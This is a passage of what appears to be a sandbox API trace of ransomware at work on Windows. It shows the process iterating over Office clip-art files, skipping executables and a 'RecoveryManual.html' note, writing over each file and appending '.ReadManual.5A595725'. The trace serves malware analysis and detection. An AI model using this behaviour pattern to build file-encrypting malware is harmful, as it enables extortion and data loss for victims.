Office\\CLIPART\\PUB60COR\\J0106124.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ReadManual.5A595725" [0266.451] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ReadManual.5A595725") returned 87 [0266.451] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38711992774) returned 1 [0266.451] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0266.451] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.452] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5812) returned 1 [0266.452] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16b4, lpName=0x0) returned 0x184 [0266.452] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.452] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.452] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.454] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.454] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16b4) returned 0x2f0000 [0266.454] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38712326257) returned 1 [0266.455] CloseHandle (hObject=0x184) returned 1 [0266.455] SetSecurityInfo () returned 0x57 [0266.455] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.455] CloseHandle (hObject=0x194) returned 1 [0266.455] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0266.455] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106146.WMF" | out: lpString1="J0106146.WMF") returned="J0106146.WMF" [0266.455] lstrcmpiW (lpString1="J0106146.WMF", lpString2="RecoveryManual.html") returned -1 [0266.455] StrStrIW (lpFirst="J0106146.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.455] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.455] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.455] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" [0266.455] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ReadManual.5A595725" [0266.455] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ReadManual.5A595725") returned 87 [0266.455] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38712422055) returned 1 [0266.456] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0266.456] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.456] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23548) returned 1 [0266.456] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5bfc, lpName=0x0) returned 0x184 [0266.456] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.457] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.457] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.459] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.459] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5bfc) returned 0x2f0000 [0266.459] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38712789212) returned 1 [0266.459] CloseHandle (hObject=0x184) returned 1 [0266.459] SetSecurityInfo () returned 0x57 [0266.459] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.459] CloseHandle (hObject=0x194) returned 1 [0266.459] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0266.459] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106208.WMF" | out: lpString1="J0106208.WMF") returned="J0106208.WMF" [0266.460] lstrcmpiW (lpString1="J0106208.WMF", lpString2="RecoveryManual.html") returned -1 [0266.460] StrStrIW (lpFirst="J0106208.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.460] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.460] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.460] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" [0266.460] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ReadManual.5A595725" [0266.460] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ReadManual.5A595725") returned 87 [0266.460] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38712885787) returned 1 [0266.460] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0266.462] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.462] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11900) returned 1 [0266.462] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7c, lpName=0x0) returned 0x184 [0266.462] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.463] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.463] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.465] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.465] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e7c) returned 0x2f0000 [0266.465] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38713405679) returned 1 [0266.465] CloseHandle (hObject=0x184) returned 1 [0266.465] SetSecurityInfo () returned 0x57 [0266.465] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.466] CloseHandle (hObject=0x194) returned 1 [0266.466] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0266.466] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106222.WMF" | out: lpString1="J0106222.WMF") returned="J0106222.WMF" [0266.466] lstrcmpiW (lpString1="J0106222.WMF", lpString2="RecoveryManual.html") returned -1 [0266.466] StrStrIW (lpFirst="J0106222.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.466] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.466] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.466] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.466] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.466] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.467] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.467] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" [0266.467] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ReadManual.5A595725" [0266.467] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.ReadManual.5A595725") returned 87 [0266.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38713564270) returned 1 [0266.467] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf")) returned 0x20 [0266.467] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.467] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19600) returned 1 [0266.467] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c90, lpName=0x0) returned 0x184 [0266.467] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.468] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.468] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.470] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.470] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c90) returned 0x2f0000 [0266.470] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.470] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38713911352) returned 1 [0266.470] CloseHandle (hObject=0x184) returned 1 [0266.470] SetSecurityInfo () returned 0x57 [0266.471] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.471] CloseHandle (hObject=0x194) returned 1 [0266.471] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0266.471] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106572.WMF" | out: lpString1="J0106572.WMF") returned="J0106572.WMF" [0266.471] lstrcmpiW (lpString1="J0106572.WMF", lpString2="RecoveryManual.html") returned -1 [0266.471] StrStrIW (lpFirst="J0106572.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.471] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.471] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.471] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" [0266.471] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ReadManual.5A595725" [0266.471] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.ReadManual.5A595725") returned 87 [0266.471] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38714009147) returned 1 [0266.471] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0266.472] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.472] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2148) returned 1 [0266.472] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x864, lpName=0x0) returned 0x184 [0266.472] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.473] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.473] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.475] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.475] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x864) returned 0x2f0000 [0266.475] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38714400178) returned 1 [0266.475] CloseHandle (hObject=0x184) returned 1 [0266.475] SetSecurityInfo () returned 0x57 [0266.475] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.475] CloseHandle (hObject=0x194) returned 1 [0266.476] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0266.476] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106816.WMF" | out: lpString1="J0106816.WMF") returned="J0106816.WMF" [0266.476] lstrcmpiW (lpString1="J0106816.WMF", lpString2="RecoveryManual.html") returned -1 [0266.476] StrStrIW (lpFirst="J0106816.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.476] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.476] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.476] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" [0266.476] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ReadManual.5A595725" [0266.476] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.ReadManual.5A595725") returned 87 [0266.476] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38714495628) returned 1 [0266.476] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0266.476] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.477] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3332) returned 1 [0266.477] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd04, lpName=0x0) returned 0x184 [0266.477] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.478] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 